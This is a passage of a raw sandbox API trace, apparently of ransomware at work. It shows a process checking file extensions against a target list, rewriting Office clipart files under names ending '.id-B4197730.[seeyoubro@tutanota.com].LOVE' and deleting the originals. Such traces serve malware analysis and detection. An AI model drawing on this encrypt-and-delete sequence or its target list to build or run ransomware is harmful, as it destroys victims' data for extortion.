lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.774] lstrlenW (lpString=".bz2") returned 4 [0207.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.774] lstrlenW (lpString=".7z") returned 3 [0207.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0207.775] lstrlenW (lpString=".dbf") returned 4 [0207.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0207.775] lstrlenW (lpString=".1cd") returned 4 [0207.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0207.775] lstrlenW (lpString=".jpg") returned 4 [0207.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.775] GetLastError () returned 0x0 [0207.775] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x3f34, lpOverlapped=0x0) returned 1 [0207.776] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x3f40, lpOverlapped=0x0) returned 1 [0207.777] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.777] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.777] SetEndOfFile (hFile=0x348) returned 1 [0207.778] CloseHandle (hObject=0x348) returned 1 [0207.778] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.778] SetEndOfFile (hFile=0x354) returned 1 [0207.779] CloseHandle (hObject=0x354) returned 1 [0207.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0207.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0207.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0207.779] lstrlenW (lpString=".doc") returned 4 [0207.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.779] lstrlenW (lpString=".docx") returned 5 [0207.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.779] lstrlenW (lpString=".pdf") returned 4 [0207.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.779] lstrlenW (lpString=".xls") returned 4 [0207.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.779] lstrlenW (lpString=".xlsx") returned 5 [0207.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.780] lstrlenW (lpString=".ppt") returned 4 [0207.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0207.780] lstrlenW (lpString=".zip") returned 4 [0207.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.780] lstrlenW (lpString=".rar") returned 4 [0207.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.780] lstrlenW (lpString=".bz2") returned 4 [0207.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.780] lstrlenW (lpString=".7z") returned 3 [0207.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0207.780] lstrlenW (lpString=".dbf") returned 4 [0207.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0207.780] lstrlenW (lpString=".1cd") returned 4 [0207.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0207.780] lstrlenW (lpString=".jpg") returned 4 [0207.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.788] GetLastError () returned 0x0 [0207.788] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4354, lpOverlapped=0x0) returned 1 [0207.820] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4360, lpOverlapped=0x0) returned 1 [0207.821] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.821] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.821] SetEndOfFile (hFile=0x2f0) returned 1 [0207.822] CloseHandle (hObject=0x2f0) returned 1 [0207.822] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.822] SetEndOfFile (hFile=0x33c) returned 1 [0207.823] CloseHandle (hObject=0x33c) returned 1 [0207.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0207.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0207.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0207.823] lstrlenW (lpString=".doc") returned 4 [0207.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.823] lstrlenW (lpString=".docx") returned 5 [0207.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.823] lstrlenW (lpString=".pdf") returned 4 [0207.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.824] lstrlenW (lpString=".xls") returned 4 [0207.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.824] lstrlenW (lpString=".xlsx") returned 5 [0207.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.824] lstrlenW (lpString=".ppt") returned 4 [0207.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0207.824] lstrlenW (lpString=".zip") returned 4 [0207.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.824] lstrlenW (lpString=".rar") returned 4 [0207.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.824] lstrlenW (lpString=".bz2") returned 4 [0207.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.824] lstrlenW (lpString=".7z") returned 3 [0207.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0207.824] lstrlenW (lpString=".dbf") returned 4 [0207.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0207.824] lstrlenW (lpString=".1cd") returned 4 [0207.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0207.824] lstrlenW (lpString=".jpg") returned 4 [0207.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.825] GetLastError () returned 0x0 [0207.825] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x133c, lpOverlapped=0x0) returned 1 [0207.852] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1340, lpOverlapped=0x0) returned 1 [0207.852] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.852] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.852] SetEndOfFile (hFile=0x2f0) returned 1 [0207.852] CloseHandle (hObject=0x2f0) returned 1 [0207.853] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.853] SetEndOfFile (hFile=0x33c) returned 1 [0207.853] CloseHandle (hObject=0x33c) returned 1 [0207.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0207.854] lstrlenW (lpString=".doc") returned 4 [0207.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.854] lstrlenW (lpString=".docx") returned 5 [0207.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.854] lstrlenW (lpString=".pdf") returned 4 [0207.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.854] lstrlenW (lpString=".xls") returned 4 [0207.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.854] lstrlenW (lpString=".xlsx") returned 5 [0207.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.854] lstrlenW (lpString=".ppt") returned 4 [0207.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0207.854] lstrlenW (lpString=".zip") returned 4 [0207.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.854] lstrlenW (lpString=".rar") returned 4 [0207.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.854] lstrlenW (lpString=".bz2") returned 4 [0207.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.855] lstrlenW (lpString=".7z") returned 3 [0207.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0207.855] lstrlenW (lpString=".dbf") returned 4 [0207.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0207.855] lstrlenW (lpString=".1cd") returned 4 [0207.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0207.855] lstrlenW (lpString=".jpg") returned 4 [0207.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.855] GetLastError () returned 0x0 [0207.855] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0207.968] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0207.970] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.970] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.970] SetEndOfFile (hFile=0x2f0) returned 1 [0207.970] CloseHandle (hObject=0x2f0) returned 1 [0207.970] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.970] SetEndOfFile (hFile=0x33c) returned 1 [0207.971] CloseHandle (hObject=0x33c) returned 1 [0207.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0207.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0207.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0207.972] lstrlenW (lpString=".doc") returned 4 [0207.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.972] lstrlenW (lpString=".docx") returned 5 [0207.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.972] lstrlenW (lpString=".pdf") returned 4 [0207.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.973] lstrlenW (lpString=".xls") returned 4 [0207.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.973] lstrlenW (lpString=".xlsx") returned 5 [0207.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.973] lstrlenW (lpString=".ppt") returned 4 [0207.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0207.973] lstrlenW (lpString=".zip") returned 4 [0207.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.973] lstrlenW (lpString=".rar") returned 4 [0207.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.973] lstrlenW (lpString=".bz2") returned 4 [0207.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.973] lstrlenW (lpString=".7z") returned 3 [0207.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0207.973] lstrlenW (lpString=".dbf") returned 4 [0207.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0207.973] lstrlenW (lpString=".1cd") returned 4 [0207.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0207.973] lstrlenW (lpString=".jpg") returned 4 [0207.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.975] GetLastError () returned 0x0 [0207.975] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0208.002] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0208.004] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.004] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.004] SetEndOfFile (hFile=0x2f0) returned 1 [0208.005] CloseHandle (hObject=0x2f0) returned 1 [0208.206] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.206] SetEndOfFile (hFile=0x33c) returned 1 [0208.206] CloseHandle (hObject=0x33c) returned 1 [0208.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0208.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0208.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0208.207] lstrlenW (lpString=".doc") returned 4 [0208.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.207] lstrlenW (lpString=".docx") returned 5 [0208.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.207] lstrlenW (lpString=".pdf") returned 4 [0208.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.207] lstrlenW (lpString=".xls") returned 4 [0208.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.208] lstrlenW (lpString=".xlsx") returned 5 [0208.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.208] lstrlenW (lpString=".ppt") returned 4 [0208.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0208.208] lstrlenW (lpString=".zip") returned 4 [0208.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.208] lstrlenW (lpString=".rar") returned 4 [0208.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.208] lstrlenW (lpString=".bz2") returned 4 [0208.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.233] lstrlenW (lpString=".7z") returned 3 [0208.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0208.233] lstrlenW (lpString=".dbf") returned 4 [0208.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0208.233] lstrlenW (lpString=".1cd") returned 4 [0208.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0208.233] lstrlenW (lpString=".jpg") returned 4 [0208.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.236] GetLastError () returned 0x0 [0208.236] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0208.298] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0208.299] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.299] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.300] SetEndOfFile (hFile=0x2d8) returned 1 [0208.300] CloseHandle (hObject=0x2d8) returned 1 [0208.300] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.300] SetEndOfFile (hFile=0x33c) returned 1 [0208.301] CloseHandle (hObject=0x33c) returned 1 [0208.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0208.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0208.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0208.302] lstrlenW (lpString=".doc") returned 4 [0208.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.302] lstrlenW (lpString=".docx") returned 5 [0208.302] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0208.302] lstrlenW (lpString=".pdf") returned 4 [0208.302] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.302] lstrlenW (lpString=".xls") returned 4 [0208.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.302] lstrlenW (lpString=".xlsx") returned 5 [0208.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0208.302] lstrlenW (lpString=".ppt") returned 4 [0208.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0208.302] lstrlenW (lpString=".zip") returned 4 [0208.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.302] lstrlenW (lpString=".rar") returned 4 [0208.302] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.302] lstrlenW (lpString=".bz2") returned 4 [0208.302] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.302] lstrlenW (lpString=".7z") returned 3 [0208.302] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0208.303] lstrlenW (lpString=".dbf") returned 4 [0208.303] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0208.303] lstrlenW (lpString=".1cd") returned 4 [0208.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0208.303] lstrlenW (lpString=".jpg") returned 4 [0208.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.304] GetLastError () returned 0x0 [0208.304] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0208.313] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0208.314] ReadFile (in: hFile=0x33c, 